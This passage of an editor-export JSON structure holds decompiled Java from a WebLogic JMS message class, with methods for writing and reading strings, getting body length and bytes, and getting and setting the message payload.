{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FYkh-1677058246838&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FHEj-1677058246837&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pBin-1677058246840&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PnjN-1677058246839&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return TYPE_CODE_STRINGS[var1];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zmrs-1677058246842&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QH2X-1677058246841&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (Throwable var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kr73-1677058246844&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WF95-1677058246843&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return TYPE_CODE_STRINGS[0];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p7SN-1677058246846&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4G92-1677058246845&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hwuQ-1677058246848&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vsos-1677058246847&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rDO8-1677058246850&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EMOy-1677058246849&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AcRM-1677058246852&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;drid-1677058246851&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private void writeStringInternal(String var1) throws IOException, JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jvwu-1677058246854&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X4w5-1677058246853&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (var1.length() &gt; 20000) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wVyA-1677058246856&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NLxB-1677058246855&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.writeType((byte)10);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fp1f-1677058246858&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EH03-1677058246857&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.bos.writeUTF32(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ud3c-1677058246860&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CKLX-1677058246859&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M5OC-1677058246862&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1UBr-1677058246861&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.writeType((byte)9);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OxhG-1677058246864&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5GEv-1677058246863&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.bos.writeUTF(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gkYH-1677058246866&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uG5Y-1677058246865&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FZDT-1677058246868&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YpSK-1677058246867&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;At7r-1677058246870&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i5iJ-1677058246869&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QbqQ-1677058246872&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;viMQ-1677058246871&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YaTX-1677058246875&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GRZa-1677058246874&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private String readStringInternal(byte var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XlR5-1677058246877&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;o9NO-1677058246876&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var1 == 10 ? this.bis.readUTF32() : this.bis.readUTF();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PA2U-1677058246879&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EhyA-1677058246878&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ray2-1677058246881&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wbmW-1677058246880&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sXaO-1677058246883&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sCuJ-1677058246882&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private long getLen() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nd5k-1677058246885&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vxDM-1677058246884&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (this.bos != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5TR6-1677058246887&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v9sq-1677058246886&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return (long)this.bos.size();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZBKF-1677058246889&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EEVL-1677058246888&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5sof-1677058246891&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DnTT-1677058246890&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return this.payload != null ? (long)this.payload.getLength() : 0L;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZaGE-1677058246893&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jdLd-1677058246892&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nJfX-1677058246895&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;91ni-1677058246894&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pUdA-1677058246897&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9umE-1677058246896&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tcqZ-1677058246899&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;skgV-1677058246898&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public long getBodyLength() throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IRQH-1677058246901&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EWGe-1677058246900&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        super.readMode();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tHMx-1677058246903&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vMuh-1677058246902&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return this.getLen();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HaLg-1677058246905&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DwU1-1677058246904&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8k2j-1677058246907&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7Rn3-1677058246906&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;huzM-1677058246909&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8msC-1677058246908&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public byte[] getBodyBytes() throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FEwM-1677058246911&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HLgE-1677058246910&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Object var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D1lb-1677058246913&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w2EH-1677058246912&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (this.payload != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Dpz-1677058246915&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8UQk-1677058246914&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1 = this.payload;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t8d1-1677058246917&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DzpP-1677058246916&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XyCH-1677058246919&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xCvj-1677058246918&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (this.bos == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1TBg-1677058246921&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hxbm-1677058246920&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                return new byte[0];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ue1K-1677058246923&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;II3M-1677058246922&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TN00-1677058246925&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UIga-1677058246924&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HnA2-1677058246927&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9xs2-1677058246926&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1 = this.bos;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Q8LN-1677058246929&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JGye-1677058246928&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IGBJ-1677058246931&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OviL-1677058246930&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fmIC-1677058246933&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q8eL-1677058246932&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SF4r-1677058246935&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7YBz-1677058246934&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            ByteArrayOutputStream var2 = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VAO4-1677058246937&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tHRu-1677058246936&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            ((Payload)var1).writeTo(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TToh-1677058246939&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NQN8-1677058246938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var2.flush();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;a9Qn-1677058246941&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;H2Ro-1677058246940&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return var2.toByteArray();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EUnQ-1677058246943&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6uz0-1677058246942&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CJIH-1677058246945&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BaKC-1677058246944&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.JMSException(var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1xuT-1677058246947&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JEAF-1677058246946&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Sptr-1677058246949&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XBYp-1677058246948&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ePQa-1677058246951&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tH3V-1677058246950&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MKbB-1677058246953&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kRC0-1677058246952&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public PayloadStream getPayload() throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vYCj-1677058246955&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XJY2-1677058246954&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (this.isCompressed()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;owCq-1677058246957&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cOCJ-1677058246956&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2leq-1677058246960&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gp0b-1677058246959&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.payload = (PayloadStream)this.decompress();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C6Ux-1677058246962&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lwLI-1677058246961&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (IOException var2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RCSU-1677058246964&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oBcz-1677058246963&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                throw new weblogic.jms.common.JMSException(JMSClientExceptionLogger.logErrorDecompressMessageBodyLoggable().getMessage(), var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YplK-1677058246966&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wvkj-1677058246965&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hUHQ-1677058246968&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wQpp-1677058246967&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qF1W-1677058246970&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SiMp-1677058246969&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nxgo-1677058246972&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hEPE-1677058246971&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return this.payload;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1ZBh-1677058246974&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RXs8-1677058246973&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aPii-1677058246976&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CVPc-1677058246975&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;icYU-1677058246978&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3VkB-1677058246977&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void setPayload(PayloadStream var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DC4c-1677058246980&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nTXD-1677058246979&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (this.payload == null &amp;&amp; this.bis == null &amp;&amp; this.bos == null &amp;&amp; !this.copyOnWrite) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EuD4-1677058246982&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CWNh-1677058246981&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try 